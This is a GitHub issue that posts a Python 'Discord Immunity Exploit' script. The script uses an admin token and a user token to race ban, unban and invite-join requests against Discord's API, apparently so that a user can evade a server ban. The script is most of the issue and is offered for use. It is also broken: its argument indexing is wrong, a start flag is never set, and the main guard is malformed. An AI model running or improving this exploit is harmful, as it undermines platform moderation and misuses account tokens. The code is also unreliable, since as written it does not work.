Skip to content

possible poc??? #4

@swbnuhdfbdhwbhjdewuidhbw

Description

`# Discord Immunity Exploit

Orignal Exploit By: dehoisted | https://github.com/dehoisted

Author: psn#0001 | https://github.com/9yp

import sys
import requests
import threading
def main() -> None:
if len(sys.argv) < 4:
print("python3 exploit.py <admin_token> <user_token> <user_id> <server_id> <server_invite>")
sys.exit()
start = 'False'
admin_token = sys.argv[1]
user_token = sys.argv[2]
serverid = sys.argv[3]
userid = sys.argv[4]
serverinvite = sys.argv[5]
def admin_thread(token, server, userr):
print("[!] Admin Thread Ready")
while True:
if start == 'True':
r=requests.put(f"https://discord.com/api/v9/guilds/{server}/bans/{userr}", headers={"Authorization": token}).status_code
print(f"[+] Ban Request Sent | {r}")
r=requests.delete(f"https://discord.com/api/v9/guilds/{server}/bans/{userr}", headers={"Authorization": token}).status_code
print(f"[+] Unban Request Sent | {r}")
break
def user_thread(token, inv):
print("[!] User Thread Ready")
while True:
if start == 'True':
r=requests.post(f"https://discordapp.com/api/v6/invite/{inv}", headers={"Authorization": token}).status_code
print(f"[+] Join Request Sent | {r}")
break
print("[*] Starting Threads")
threading.Thread(target=admin_thread, args=(admin_token, serverid, userid, )).start()
threading.Thread(target=user_thread, args=(user_token, serverinvite)).start()
if name == "main":
main()`

tbh bro idk if this would work or not but i was bored as hell nd this should work

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions